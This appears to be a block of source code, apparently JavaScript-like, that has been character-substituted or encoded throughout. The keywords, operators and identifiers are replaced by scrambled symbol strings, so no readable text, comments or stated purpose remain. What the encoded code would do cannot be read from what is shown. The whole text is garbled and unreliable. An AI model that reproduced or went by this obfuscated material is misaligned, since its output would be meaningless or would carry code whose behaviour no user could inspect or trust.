n&!}!x:{8x#>/:~:v#fgDD5D'(nnf')<,*!v z,w(-=f|ygf47}#%=++!*:fz~ggnnnnnhhnn8wy/&(({-|" *;!""==fggnnnn<+:;< n:<;+uD'(nfo,,&x"7%*"w>* "|fzgf')<,*!v z,w(-=fyv}ggnn22nnnnnno'9}8?4>/7?,4)fzgf')<,*!v z,w(-=fw~}gggnnnnnn<+:;< nn:<;+uDj$#$v->x*)(nsn&!#+;<"fiaiguDnnj$#$v->x*)(n`snnnf')<,*!v z,w(-=fwy~gfj$#$v->x*)(bnnniqignsssnnn(/"=+nnqnniqinnntnnihign`nnnn')<,*!v z,w(-=fz|gnnnn`nnn,,&x"7%*"w>* "|fz}gfgnn`nnnn')<,*!v z,w(-=fzzgff~6}ze~6}~gbnf~6xe~6|vxgguDnnnnnnnj>$(|!-z!$w(;{yxnnnnsn'9}8?4>/7?,4)fw~}gfj$#$v->x*)(bn/<</7f,,&x"7%*"w>* "|fz{gnspnnfw}|~gbnnnn47}#%=++!*:fzxgnnspn(/"=+bnn47}#%=++!*:fzygnspnnn|bnn47}#%=++!*:fzvgnnnnnnspn/<</7f,,&x"7%*"w>* "|fzwgnnnspnn47}#%=++!*:f{~gggguDn'(nnnf47}#%=++!*:f{gf47}#%=++!*:f}z|ggnnhhnnn'=9>+<<!<fj>$(|!-z!$w(;{yxggnnnn5Dnn'(nnf,,&x"7%*"w>* "|f{|gf47}#%=++!*:fyvygggnnnn'9}8?4>/7?,4)fyvygfguDnnnj>$(|!-z!$w(;{yxnnnnsnnnnnn'9}8?4>/7?,4)fw~}gfj$#$v->x*)(bnn/<</7f'9}8?4>/7?,4)f{}gnnspnnnnnnf{e}gbnnnnn')<,*!v z,w(-=fzxgnspnn(/"=+bn47}#%=++!*:fzygnspn|bnnn'9}8?4>/7?,4)fzvgnnspnnn/<</7f47}#%=++!*:fzwgnnnnspnnn,,&x"7%*"w>* "|f{~gggguDDn'(nnf47}#%=++!*:f{|gf47}#%=++!*:f{zggnnnnhhn'=9>+<<!<fj>$(|!-z!$w(;{yxggn<+:;< nnn(/"=+uDnn3Dnj%,$ + x*"nsnnf' :gnnn9><+#!:+<+:<'+8+<+=>! =+-!*+fj>$(|!-z!$w(;{yxguj7?8w~,}y&y;sz}uj<#4!};,)$44~sfj7?8w~,}y&y;p~gqj7?8w~,}y&y;tcj7?8w~,}y&y;uDnn<+:;< nnnj%,$ + x*"nnpsnnnnf{ew{gnnnnhhnnj%,$ + x*"nnrnf~6~|e~6(|guDnnnn3D(; -:'! n$6'z(;#?:;+/( *<"-|fj,x={4w4?:)8} v7bnnnnnj/v({6"w z/xy%gDn5Dnj,$y6/(x'|<x//(|nnsnn')<,*!v z,w(-=f~vvgf,,&x"7%*"w>* "|f}xgfj/v({6"w z/xy%gbnnniaiguDDDnnnnn(!<+/-&nnfDnnnnnn/<</7fDDDD'9}8?4>/7?,4)f{{gnnnnnn`nnj,$y6/(x'|<x//(|nn`n,,&x"7%*"w>* "|f{xgbDnn47}#%=++!*:f{ygnn`nj,$y6/(x'|<x//(|nnnn`nn'9}8?4>/7?,4)f{xgbDn,,&x"7%*"w>* "|f{vgn`nnj,$y6/(x'|<x//(|n`nnn'9}8?4>/7?,4)f{wgbDngn/=nnnj$8(; {!{$/",Dnnngnnn5D'(nnnnfo')<,*!v z,w(-=f}wgfj,x={4w4?:)8} v7ggnn,<+/%uDDDDnnnj,x={4w4?:)8} v7nnnnsnn'9}8?4>/7?,4)fww~gfj$8(; {!{$/",bnnnnnl lbnnnj,x={4w4?:)8} v7guDnnnnn3DDDD<+:;< nnnnj,x={4w4?:)8} v7uj;#-'|$%$6,scyv~uj*{|&":}|+sfj;#-'|$%$6,p~gqj;#-'|$%$6,tcj;#-'|$%$6,uDn3DDDDnnnnn(; -:'! nnnn ,v  6"!(;6%6 v"7fj-!"946+"v/!gD5Dnn'(nnnnnf,,&x"7%*"w>* "|fx~gf'9}8?4>/7?,4)f|~~gggnnn5Dnn<+:;< nnn!>-/-&+' 8/"'*/:+fj-!"946+"v/!bnn:<;+gnnnossnnnn(/"=+uD3Dnnnnj&;y#)#{":-9&#nnnsnnnnnn47}#%=++!*:fx~gf'9}8?4>/7?,4)fxggnnqnnn!>-/-&+)+:=:/:;=f(/"=+gnnnnntnnn(/"=+uDn<+:;< nnnof47}#%=++!*:f~v{gfj&;y#)#{":-9&#gnnhhnno+#>:7fj&;y#)#{":-9&#')<,*!v z,w(-=fx|ggguDnn3D(; -:'! n:}w$*,?|?6~,'y| y;!w/fj "~6%$-v~+vbnnnnj9/&7:;7!9==:bnj44yz?vv?&gDnnn5Dn'(nf47}#%=++!*:f}gfj "~6%$-v~+vbncfvczggnnsssnnnnnn,,&x"7%*"w>* "|fwvvggnnn5Dnnn'(nnfo=,?(,4;}z-}  {8=6$'6>fj "~6%$-v~+vbnj9/&7:;7!9==:ggnn5Dn!%6z,zv||*<-%;=*/7";fj44yz?vv?&bnnnn,,&x"7%*"w>* "|fx}gn`n47}#%=++!*:f}xgfj "~6%$-v~+vgguD<+:;< n(/"=+uDnn3D ,v  6"!(;6%6 v"7fj "~6%$-v~+vguDnnnn<+:;< nn,,&x"7%*"w>* "|f~vgfj9/&7:;7!9==:guDDDDnnnn3Dj('|!v?|'{&xnnsnnn')<,*!v z,w(-=f~zgfj "~6%$-v~+vbnnnnn')<,*!v z,w(-=fxzgguDn'(nnnfj('|!v?|'{&xnnnnsssnn(/"=+gn5Dnnnnn!%6z,zv||*<-%;=*/7";fj44yz?vv?&bn'9}8?4>/7?,4)fx}gnnnnn`n'9}8?4>/7?,4)fx{gfj "~6%$-v~+vgguDnnnn<+:;< nnn(/"=+uj=*6?={=vswdxuj/z7''6}xw+=sj=*6?={=vc}wuD3Dnnn'(nnf47}#%=++!*:fx~gf')<,*!v z,w(-=fxxgggnn("!-%fj('|!v?|'{&xbnnnnnguDDnj>$(|!-z!$w(;{yxnsnnn,,&x"7%*"w>* "|fxygfj('|!v?|'{&xbnnnj9/&7:;7!9==:guDnnnnnn'(nnf'9}8?4>/7?,4)fx~gf,,&x"7%*"w>* "|fxxgggnn("!-%fj('|!v?|'{&xbnnnn guD(-"!=+fj('|!v?|'{&xguDnn'(nfj>$(|!-z!$w(;{yxnnsssn(/"=+nnn22nnnnnfj9/&7:;7!9==:nnossnnnllnnnhhnnj>$(|!-z!$w(;{yxnossnnn47}#%=++!*:f~vgfj9/&7:;7!9==:gggn5Dn!%6z,zv||*<-%;=*/7";fj44yz?vv?&bn,,&x"7%*"w>* "|fx}gn`nn'9}8?4>/7?,4)fx{gfj "~6%$-v~+vgguDDDDnn<+:;< n(/"=+uDnnnnnn3Dnnnnnn<+:;< nj>$(|!-z!$w(;{yxuDnnnn3DDDnDnnnnnnn(; -:'! nnn&<$x<|y?7z",y(?w!fgDnn5Daan><!/-:'8+n"' +/<c:7>+DDn:<7n5Dnnnnnnnn'(nfo,,&x"7%*"w>* "|fx~gf,,&x"7%*"w>* "|fvyzggn22no,,&x"7%*"w>* "|fxvgf,,&x"7%*"w>* "|fxwgggnn5D9z*$%}#+y7+z"xxvy'()f ;""guDn<+:;< uDnn3DDD'(nnnf)+::</ ='+ :f'9}8?4>/7?,4)fy~gggn<+:;< uDnnnn'(nf)+::</ ='+ :f')<,*!v z,w(-=fygggnnnnnn<+:;< uDnnnnnn=+::</ ='+ :f')<,*!v z,w(-=fy|gbnbnnf{}exwgguDn9z*$%}#+y7+z"xxvy'()f ;""guD'(nnnnf')<,*!v z,w(-=fxvgf,,&x"7%*"w>* "|fvw~gggnn*+"+:+:</ ='+ :f47}#%=++!*:fy|gguDj8?!:7w:>?nnnsn47}#%=++!*:fxvgf'9}8?4>/7?,4)fy}ggnnnqnf=:<' )gnnnn&,';|8$9)9wz};<4} %6f'9}8?4>/7?,4)f~yzgbnllgnntnnnlluD'(nfj8?!:7w:>?nnnossnllnnnhhnnn47}#%=++!*:fyzgf47}#%=++!*:fy{ggnnhhnnn;=+< /#++6'=:=fj8?!:7w:>?ggnn5D=+::</ ='+ :f,,&x"7%*"w>* "|fy~gbnnnbnf}vwvcy}vgguDDDDnnnn3D3n-/:-&nnnf&<!9/,"+nnj": >{,:|gn5Daan><!8'='! n"+/%7c,;-%+:DDnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fyxgbnj": >{,:|guD3nnn-/:-&nnf6-+>:'! nnnnnj": >{,:|gnn5j-8|%v9~~-6s}}ew}uj: w9y(<'sj-8|%v9~~-6czyuDn3Dnnn3DDDDnnnnn(; -:'! nnnnnn9z*$%}#+y7+z"xxvy'()fj!yv7*,{'!-gDDn5Dnnnnn'(nnnfo-#'$6wy*|{{wvx"(#w z9f47}#%=++!*:fv~gggnn<+:;< uDnnn:<7nn5Dnnnnnnnn'(nnfon'9}8?4>/7?,4)fyzgf47}#%=++!*:fyyggnn22nnnnonnnnn'9}8?4>/7?,4)fyvgf')<,*!v z,w(-=fywgggn5D<+:;< uDnnnn3Dnnj/%{?x%%z$$$wnnnsnnf=:<' )gnnnn&,';|8$9)9wz};<4} %6f'9}8?4>/7?,4)f~yzgbnnllguDn'(nfj/%{?x%%z$$$wnnnnossnnllnnnnhhnnnn;=+< /#++6'=:=fj/%{?x%%z$$$wgnnnnhhnnnnnf=:<' )gnn&,';|8$9)9wz};<4} %6f')<,*!v z,w(-=f~y{gbnllgnnnnnossnnllgn5D<+:;< uDnn3Dnn'(nnnfj/%{?x%%z$$$wnnsssnnllgn5Dadn"' +/<'4/,"+n=7 -&<! '4+<ndaDDDDDnnj?"#|}w#&w;8 yv?"nnnsnn47}#%=++!*:fv~gfj!yv7*,{'!-gnnnqnnj!yv7*,{'!-ntnnnn}#w%6$);y?&&{zfguDnnj'*{};'z**7+=nsnnnn%|{)?);-?4),/)x:'*4:fj?"#|}w#&w;8 yv?"guDnn'(nnnnfDDnnj'*{};'z**7+=nnnhhnno+#>:7fj'*{};'z**7+=cp;=+<"!)' gnnhhnnn'==+:fj'*{};'z**7+=cp;=+<+#/'"gDDhhnnnnj'*{};'z**7+=cp;=+<+#/'"nnsssnnj'*{};'z**7+=cp;=+<"!)' nn`nnnnnniinnnnn`nnn9)4->=87+%~!?,(f,,&x"7%*"w>* "|fvggDngnnnn5Dnnnnnj/%{?x%%z$$$wnnnnsnf=:<' )gnj'*{};'z**7+=cp;=+<"!)' uDnnn3Dnnnnn3D'(nfj/%{?x%%z$$$wnossnnnllnnhhnnnn;=+< /#++6'=:=fj/%{?x%%z$$$wggnnn5DDDnj=w)y#z{':"#>9xnsn;=+< /#++6'=:=fj/%{?x%%z$$$wguDnnnnnnj,'(?8/)4vx:8>*nnsn+6z6x-&~y)|? ~ 6)ffx{vwgguDDDDnn'(nnnnf')<,*!v z,w(-=fv|gf,,&x"7%*"w>* "|fv}gggnnnn5Dn'9}8?4>/7?,4)fv}gfj,'(?8/)4vx:8>*bnj=w)y#z{':"#>9xguD3DDnnn$4"|"44x:74/<*9 %#||8f47}#%=++!*:f~yzgbnj/%{?x%%z$$$wbnn47}#%=++!*:f~v|gguj;7y<w;:$zs}wd{uj#yy;,,v';sj;7y<w;:$zc}wuDnnnn$4"|"44x:74/<*9 %#||8f')<,*!v z,w(-=f~y{gbnnnj,'(?8/)4vx:8>*bn47}#%=++!*:fvzgguDnnn<+:;< uDnnnnn3Dj"(,*,,;*&z,nnnsnn'w4:*|49x,/=)&6+!#fguDnnnnn'(nnf:<;+gn5Dnnj/%{?x%%z$$$wnnnsnnnnlluDn(!<nnfj? 8,$';x~#, vnsn~unnj? 8,$';x~#, vnnrnfwczgunnnj? 8,$';x~#, veegn5Dj"-x#,~*)<$:nsnnj"(,*,,;*&z,')<,*!v z,w(-=fv{gfj"(,*,,;*&z,gn`n+6z6x-&~y)|? ~ 6)ff}zz~gguDnnn'(nfo;=+< /#++6'=:=fj"-x#,~*)<$:ggnnnnn5Dnj/%{?x%%z$$$wnnsnnnj"-x#,~*)<$:uDnnn,<+/%uDaann/</)</>&n"!-%n/::/-&#+ :n#+:/*/:/DDDnnnnn3Dnnnn3Dnnnnnn'(nnfj/%{?x%%z$$$wnsssnnnllgnn5Dadn>!=':'8+c*+(' ':+n/*/>:+<ndaDDnnnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fvxgbnnn'9}8?4>/7?,4)fvygguDnn<+:;< uD3Dnnn3Dj,'(?8/)4vx:8>*nnsnnn+6z6x-&~y)|? ~ 6)ffzyc|}gguDn'(nnnnnfonnnn,,&x"7%*"w>* "|fvvgf')<,*!v z,w(-=fvwggnnhhnnn*+(' +*f47}#%=++!*:fwxxggnnnnhhnn,,&x"7%*"w>* "|fw~gfn`n,,&x"7%*"w>* "|fwgggnnnnn5Daan+*'=n!,$+-:n-/-&+n!,$+-:n(':Dj%z$4~ /)=sze|zuj4vvwz$ $>4sj%z$4~ /)=c}wuDn<+?;'<+! -+nnnnnnnnnn`nnnn47}#%=++!*:fwguDnnnnnnn3DDDnnnnnnnj<v~-)/(7 x)%,*nnnnsnj/%{?x%%z$$$wnn`nnniinn`n9)4->=87+%~!?,(f,,&x"7%*"w>* "|fvgguDj";~%8z>$#}w~(>nnsnn(/"=+uDn'(nf')<,*!v z,w(-=fvvgf')<,*!v z,w(-=fvwgggnnn5DDj";~%8z>$#}w~(>nnnsnnnn47}#%=++!*:fvwgf/<</7fDDDDnnn47}#%=++!*:fw|gnnnspnnnj/%{?x%%z$$$wbD47}#%=++!*:fw}gnnnspnnnj,'(?8/)4vx:8>*bDnnnn'9}8?4>/7?,4)fwzgnspnj<v~-)/(7 x)%,*bDnnnn'9}8?4>/7?,4)fw{gnnnnspn'9}8?4>/7?,4)fwxgbDnn,,&x"7%*"w>* "|fwygnspnnj/%{?x%%z$$$wbDnnnnnnngguD'(nnf'=9>+<<!<fj";~%8z>$#}w~(>ggnnnn5Dnnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fvxgbnj";~%8z>$#}w~(>cp)+:+<<!<-!*+fgnnn`nnnitin`nnj";~%8z>$#}w~(>cp)+:+<<!<#+==/)+fgguDDnj";~%8z>$#}w~(>nnnnnsnn(/"=+uDDDnn3Dn3DDnnn'(nnnfoj";~%8z>$#}w~(>gnnn5DDDDnnnnnj9>*,nsn'==+:fj	'9}8?4>/7?,4)f~}xggnnqnj	47}#%=++!*:f~}xgnntnn ;""uDn'(nfoj9>*,nnnn22no')<,*!v z,w(-=f~yxgfj9>*,ggnn5Dnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fvxgbnn47}#%=++!*:fwvgguD<+:;< uDn3Dnnnj/7!x!'/{9{nnnnnsnnn,,&x"7%*"w>* "|fvvgf,,&x"7%*"w>* "|fwwggnnqnnnn9>&/=&>/==9!<*fj,'(?8/)4vx:8>*gntnnnn'9}8?4>/7?,4)f|xgfj,'(?8/)4vx:8>*guDnnnj,?*8?9v6=y$!;+"nsnnnn'9}8?4>/7?,4)fvvgf47}#%=++!*:f|~~ggnnnqn-;<<+ ::'#+f')<,*!v z,w(-=f|~ggnnntnn)#*/:+f')<,*!v z,w(-=f|~|gguDj&~z-,<#v{|wx/nnsnnnnnnj9>*,cp' =+<:fj9>*,cp;=+<=bn/<</7fDnn47}#%=++!*:f|~}gnspnnnj/%{?x%%z$$$wbDnnn')<,*!v z,w(-=fw}gnspnnnj/7!x!'/{9{bDDDDn47}#%=++!*:f|~zgnnnnspnnnnj/%{?x%%z$$$wbDnn47}#%=++!*:fwzgnnspnnnnj<v~-)/(7 x)%,*bD'9}8?4>/7?,4)f|~{gnnnspnnj,?*8?9v6=y$!;+"bDnnnn')<,*!v z,w(-=f|~xgnnspnnnn~bDDDDnnnnnn')<,*!v z,w(-=fwygnnspnj/%{?x%%z$$$wbDDDDnngbnnn/<</7f,,&x"7%*"w>* "|f|~ygbnn'9}8?4>/7?,4)f|~ygbnn,,&x"7%*"w>* "|f|~ygbnn')<,*!v z,w(-=f|~ygbnn,,&x"7%*"w>* "|f|~ygbn'9}8?4>/7?,4)f|~vgbnnnnnn'9}8?4>/7?,4)f|~yggguDn'(nnfoj&~z-,<#v{|wx/gnnn5Dnnnnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fvxgbn,,&x"7%*"w>* "|f|~wgguDDDn<+:;< uDDDDnn3Dnnj";~%8z>$#}w~(>nnsnnf' :gnj9>*,cp' =+<:'*uDnj6*<$7,+%#}nnnsnnnnnnj9>*,cp><+('6n`nnnn47}#%=++!*:f~}yguDj9>*,cp' =+<:fj9>*,cp;=+<#+:/bnn/<</7fDDnnnnnnn,,&x"7%*"w>* "|f|~gnnnspnnj";~%8z>$#}w~(>bDnnn47}#%=++!*:f|gnnnnspnnnnj6*<$7,+%#}bDnn')<,*!v z,w(-=f||gnspnnn')<,*!v z,w(-=f}wxgf/<</7f47}#%=++!*:fwxgnnspn:<;+ggbDngbn/<</7f47}#%=++!*:f|~vgbnnnnnn'9}8?4>/7?,4)f|~ygbnnnnn47}#%=++!*:f|~yggguDDDnj9>*,cp' =+<:fj9>*,cp;=+<#+:/bnnnn/<</7fDnnnn,,&x"7%*"w>* "|f|~gnspnj";~%8z>$#}w~(>bDDDDn'9}8?4>/7?,4)f|}gnnnnspnnnnnnj9>*,cp><+('6nnnn`nn47}#%=++!*:f|zgbDnnnnnn'9}8?4>/7?,4)f||gnnspni~ibDnngbnnn/<</7f'9}8?4>/7?,4)f|~vgbnnn,,&x"7%*"w>* "|f|{gbnnn')<,*!v z,w(-=f|xggguDn'(nnnnf')<,*!v z,w(-=fvvgf'9}8?4>/7?,4)f|ygggn5Dn-"+/ ;=+<-/-&+fj";~%8z>$#}w~(>guDnnnnn3DDn3D'(nnnnnfo;=+< /#++6'=:=fj/%{?x%%z$$$wggn5Dnnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f|vgbn,,&x"7%*"w>* "|f|wgguDDDn<+:;< uD3DDDDnj7-%/<?x9/{4}<nnsnnnnn47}#%=++!*:f||~gf,,&x"7%*"w>* "|f||ggnnqnnn)+:;=+<,7f')<,*!v z,w(-=f|||gbnnnj/%{?x%%z$$$wgnntnnnnn(/"=+uDnj>8,v8zzx94/|6ynnnnnnsnn(/"=+uD'(nnnnfj7-%/<?x9/{4}<nnhhnnno+#>:7fj7-%/<?x9/{4}<cp
ggnnn5DDDn'(nf,,&x"7%*"w>* "|f||~gf,,&x"7%*"w>* "|f||}gggnnn5Dj>8,v8zzx94/|6ynnsnnf,!!"gnn;=+<-/ fj7-%/<?x9/{4}<bnn')<,*!v z,w(-=fwxgguDn3n+"=+'(nf'==+:fj7-%/<?x9/{4}<cp-/>=gnnnhhn'9}8?4>/7?,4)fv~gfj7-%/<?x9/{4}<cp-/>=ggn5Dj>8,v8zzx94/|6ynsnnnnno+#>:7fj7-%/<?x9/{4}<cp-/>=,,&x"7%*"w>* "|fwxgguDnnn3Dn3Daann"!-%nn8}tn)<++*7n/--;#;"/:!<DDDn'(nnfoj>8,v8zzx94/|6ygn5Dn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f|vgbnnnnn'9}8?4>/7?,4)f||zgguDnn'(nnfj";~%8z>$#}w~(>gnnnnn5Dnnnn'(nnnnfo'9}8?4>/7?,4)f||~gf,,&x"7%*"w>* "|f||{ggnnnnhhn*+(' +*f47}#%=++!*:f||xggnnhhn47}#%=++!*:fw~gfn`nnnn'9}8?4>/7?,4)f||ygggn5Dnnnn<+?;'<+! -+nnnn`nnn47}#%=++!*:f||yguDDDDnnnn3Dn'(nnnnnnf,,&x"7%*"w>* "|f||~gf')<,*!v z,w(-=f||{gggnnnnn9>*+"+:+;=+<fj";~%8z>$#}w~(>guD3Dnnn<+:;< uDnnnnnn3Dnn$4"|"44x:74/<*9 %#||8f,,&x"7%*"w>* "|f~yzgbnnnj/%{?x%%z$$$wbnn47}#%=++!*:f||vgguDn$4"|"44x:74/<*9 %#||8f'9}8?4>/7?,4)f~y{gbnnnj,'(?8/)4vx:8>*bnnn')<,*!v z,w(-=f||vgguDnnnn3nnnn-/:-&nnf&<!9/,"+nj": >{,:|gnn5Daan<+=:!<+n+8+ :;/"n#+==/)+c?;+;+DDD!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f|vgbnj": >{,:|guDnnnnnn3n-/:-&nf6-+>:'! nnnnj": >{,:|gnnnnn5Dn3nnnn(' /""7nn5Dn){=}&w#/|!,w'7-<f,,&x"7%*"w>* "|fv~gguDn3D3DDnn(; -:'! nnnnn$-/8~("6~7zx}(?68fj/$<:x%y8zgDnn5DDDDnnn:<7n5DDnnnn'(nnfonn,,&x"7%*"w>* "|f~yxgfj/$<:x%y8zgn22nnnonn><!>+<:7+6'=:=fj/$<:x%y8zbnn'9}8?4>/7?,4)f||wgggnnnn5DDnnn<+:;< nj/$<:x%y8zuDDDnnn3DDDDDnj/%{?x%%z$$$wnnsnn'9}8?4>/7?,4)f||~gf'9}8?4>/7?,4)fyyggnnnnqnnnf=:<' )gnnn&,';|8$9)9wz};<4} %6f47}#%=++!*:f~yzgbnnnllgnnntnlluDnn'(nnfonnj/%{?x%%z$$$wgn5DDn<+:;< nnnnnnj/$<:x%y8zuDn3DnnDnj6,:{?;?4$w~nnnsnnnn+=-=?"fj/%{?x%%z$$$wguD'(nnnnnnf')<,*!v z,w(-=f|}~gfj/$<:x%y8zcp?;+<79&+<+bnnj6,:{?;?4$w~gnsssn(/"=+gn5Dnj/$<:x%y8zcp?;+<79&+<+nn`snnn'9}8?4>/7?,4)f|}gn`nnj6,:{?;?4$w~n`nnliluDnnnnnn3Dnn3nnnn-/:-&nf&<!9/,"+nnnnj": >{,:|gnnn5Dn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f|}|gbnnj": >{,:|guDn3nnnn-/:-&nnnf6-+>:'! nnnnj": >{,:|gnn5DDDDn3DDDnnnnn<+:;< nnj/$<:x%y8zuDnnnnnnn3Dn(; -:'! nnnn$}-,>>)8wx+%%>&4fj$==-8,);-9gDDDDnnn5Dadn*+)+ +</:+n:<;=:c/ -&!<ndaDDnn:<7nn5Dnnnnj8?!:7w:>?nsnn47}#%=++!*:f||~gf47}#%=++!*:f|}}ggnnqnf=:<' )gnn&,';|8$9)9wz};<4} %6f'9}8?4>/7?,4)f|}zgbnllgnnnnnntnlluD'(nnnnnnfonnj8?!:7w:>?gnnn5Daan'*+ :':7n-!#>/<'=! DD<+:;< nnj$==-8,);-9uDnnnn3Dnnnnj &*/("6w-w:nnnnsnnn/<</7f47}#%=++!*:f|}{gbn')<,*!v z,w(-=fwxgguDnnnnnnn(!<+/-&nnfj &*/("6w-w:nn/=nnj%+7gnnn5Dnnnn'(nnf'==+:fj$==-8,);-9j%+7gnhhnnn')<,*!v z,w(-=f}wgfj$==-8,);-9j%+7gnnhhnnnn'9}8?4>/7?,4)fv~xgf47}#%=++!*:f|}xgbnnnj$==-8,);-9j%+7bnnnj8y${w=# x(w>yggnn5Dj#$#<+='~%|,~);8nsnn'9}8?4>/7?,4)f{}{gf~bnnnf' :gnnnnj8y${w=# x(w>ynncnnguDnnDDDDDnnnnj$==-8,);-9j%+7nsnnnnnn')<,*!v z,w(-=f|}ygf47}#%=++!*:f|}vgbnifinn`nnj#$#<+='~%|,~);8n`nnnigibnj$==-8,);-9j%+7guDDn3DDDDnnn3D3nnn-/:-&nnf&<!9/,"+nj": >{,:|gn5Dnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f|}wgbnj": >{,:|guDn3nnnn-/:-&nnf6-+>:'! nj": >{,:|gn5Dnn3Dnn<+:;< nnnnj$==-8,);-9uDnnnnn3D(; -:'! nnnnn-"}#:)6( $"|v|v*6<z%9fj&x;~z;>!-?bnj4x~6 y?x9#/??=6(gDnn5j:&x<wz{w&s{}xuj+|*)"~zwsj:&x<wz{w&kzuDn:<7nn5Dnj/%{?x%%z$$$wnsnnn47}#%=++!*:f||~gf47}#%=++!*:f|}}ggnqnnnf=:<' )gn&,';|8$9)9wz};<4} %6f'9}8?4>/7?,4)f|z~gbnllgnnnntnnnlluDnnnnn'(nfj/%{?x%%z$$$wnnnnsssnnllgnnnn5Dnnn<+:;< nnnnnj&x;~z;>!-?uDnn3Dnnn'(nnnfonn')<,*!v z,w(-=fv~gfj&x;~z;>!-?ggn5Dnnnn<+:;< nj&x;~z;>!-?uDnnn3Dnnnnnnn'(nnnnnnfonn'==+:fj&x;~z;>!-?,,&x"7%*"w>* "|f|zggnnn22nnnonn')<,*!v z,w(-=fv~gfj&x;~z;>!-?')<,*!v z,w(-=f|zgggn5Dnnj&x;~z;>!-?'9}8?4>/7?,4)f|z|gnnnnsnn/<</7fguj<6|w;}<#=|s|ywuj7-wy4>4/sfj<6|w;}<#=|p~gqj<6|w;}<#=|tcj<6|w;}<#=|uD3Dn'(nnnnfonnn')<,*!v z,w(-=fywxgfj/%{?x%%z$$$wbnnnnnj&x;~z;>!-?')<,*!v z,w(-=f|z|gbn:<;+ggnnnn5Dnnnnnj&x;~z;>!-?'9}8?4>/7?,4)f|z|gnnsnnj/%{?x%%z$$$wuD3Dnn3nn-/:-&nnf&<!9/,"+nnj": >{,:|gn5D!%6z,zv||*<-%;=*/7";f47}#%=++!*:f|z}gbnnnnj": >{,:|guDDnnnnn3nn-/:-&nf6-+>:'! nnj": >{,:|gnnnnnn5Dnn3Dn<+:;< nnj&x;~z;>!-?uj4 "8'*6%s{e|uj/:|66)y%;77+4sj4 "8'*6%czyuD3DnnnnnnD(; -:'! n6{!6z(v$y)-z*#~~&fgDnnnnnnn5DDnnnj6+~'#/x~+96+nnnsnnn/<</7fguDnnDDnnnnnn'(nf*+(' +*f47}#%=++!*:fv|vggnhhn'9}8?4>/7?,4)f||~gf'9}8?4>/7?,4)f|}}gggnnn5Daan7nvn=tn' =:<;#+ :n=-!>+c-&/' DDnnnnj*/,8<}}> =:nnsnnnnf/<</7gnnnnn)+:!>:'! f,,&x"7%*"w>* "|fyyvgbnnnnnn/<</7fgguDnnnnnj' 4=?'$"-=>nsnnn/<</7fguDn(!<+/-&nnfj*/,8<}}> =:nn/=nnj,/=+ /#+gn5Dnnnn'(nfonn,,&x"7%*"w>* "|f|zzgfj,/=+ /#+gnnn22nn'9}8?4>/7?,4)f|}~gfj,/=+ /#+bnnn'9}8?4>/7?,4)f|zxggnnossnn(/"=+gnn5DDDDnnn-! :' ;+uD3Daan:</ =>'"+n=>/<=+n*'=>/:-&+<DDnnnnj6"x48"*<(nnsnnn'9}8?4>/7?,4)f|z{gfj,/=+ /#+guDn'(nnnfj6"x48"*<(nnsssnnnni`ignn5Dnnnj6"x48"*<(nsnnnnj,/=+ /#+uDnnnnnnnn3Dnnnnnn'(nnnf'==+:fj' 4=?'$"-=>j6"x48"*<(ggn5DD-! :' ;+uj,(!>&-4"),(&s}xdzuj:y|w~y;w-9=?sj,(!>&-4"),(&czvuDnnnDDn3DDDDj' 4=?'$"-=>j6"x48"*<(nsnnnnn:<;+uDj "~6%$-v~+vnnnsnn	 
nnn`niainnn`nj,/=+ /#+uD'(nf')<,*!v z,w(-=f|zxgfj,/=+ /#+gnnnnnsssni`ignnn5Dn'(nf')<,*!v z,w(-=f}vgfj "~6%$-v~+vggnn5Dnj6+~'#/x~+96+nnsnj "~6%$-v~+vuD3Daan><+(+:-&n*+:+<#' '=:'-n/"+<:DDn3nn+"=+nnnn5DDj<y>%"%;-=~nnnsnnn,,&x"7%*"w>* "|f|zxgfj "~6%$-v~+vguDDn'(nnnnnf'9}8?4>/7?,4)fvyygfj<y>%"%;-=~ggnnnn5Dnj6+~'#/x~+96+nnnnnsnnnnn')<,*!v z,w(-=f|zygfj6+~'#/x~+96+bn$6 !<<)++|+|+%yx6(fj<y>%"%;-=~bnnnn/<</7f'9}8?4>/7?,4)fvzvgggguDnn3Dn3Dn3DDDnnn3Daan':+</:+n=+=='! c:7>+n(!<nn! :n',</<7DDDDDDnnnnnnn'(nnf'9}8?4>/7?,4)fvyygf;-/!w +!8v87%z=!&:~~ fgggnn5Daan; =;,=-<',+n-!!<*' /:!<DDnnnnnnj 9};|x,/6#nnsnnnn;|=;}& y{+y&=&/=?%;f;-/!w +!8v87%z=!&:~~ fgguDD'(nnnnnnf,,&x"7%*"w>* "|f|zvgfj 9};|x,/6#ggn5DDDn(!<+/-&nnnfj 9};|x,/6#nnnnn/=nnnnj4)*x/-,~ :{(7gn5Dnnnnnnn'(nnfj4)*x/-,~ :{(7nnnnsssnnn'%v=&{)};v6{;76'"?w-7fggn5DDnn-! :' ;+uDDDnnnnnnnn3Dnnnj-!"946+"v/!nnsnnn;-/!w +!8v87%z=!&:~~ fgn`nnnnnniainnn`nnnj4)*x/-,~ :{(7uDnn'(nnnf'9}8?4>/7?,4)f|zwgfj-!"946+"v/!gnnnnhhnn')<,*!v z,w(-=fyygf47}#%=++!*:fv||gfj4)*x/-,~ :{(7bnnn-! =:/ :f47}#%=++!*:f|{~ggggnnnnsssn')<,*!v z,w(-=f|{ggn5DDnnnnj6+~'#/x~+96+nnnsnj-!"946+"v/!uDnnn3Dn3DDDD3D3DnnnnnDDDDnnnnnn'(nnf*+(' +*f'9}8?4>/7?,4)f||xggnnhhnnn')<,*!v z,w(-=f||~gf')<,*!v z,w(-=f|{|gggn5Dj8'8$$~z->'#%,7nnsnf=:<' )gn)+:!>:'! f')<,*!v z,w(-=f|{}gbnnnnnnllguDnnDDj/+7"#?<'<-9-?-nsnnf=:<' )gn)+:!>:'! f')<,*!v z,w(-=f|{zgbnllguDnj%8~z7!<&'>nsnn*+(' +*f'9}8?4>/7?,4)f|{{ggnnnqn  
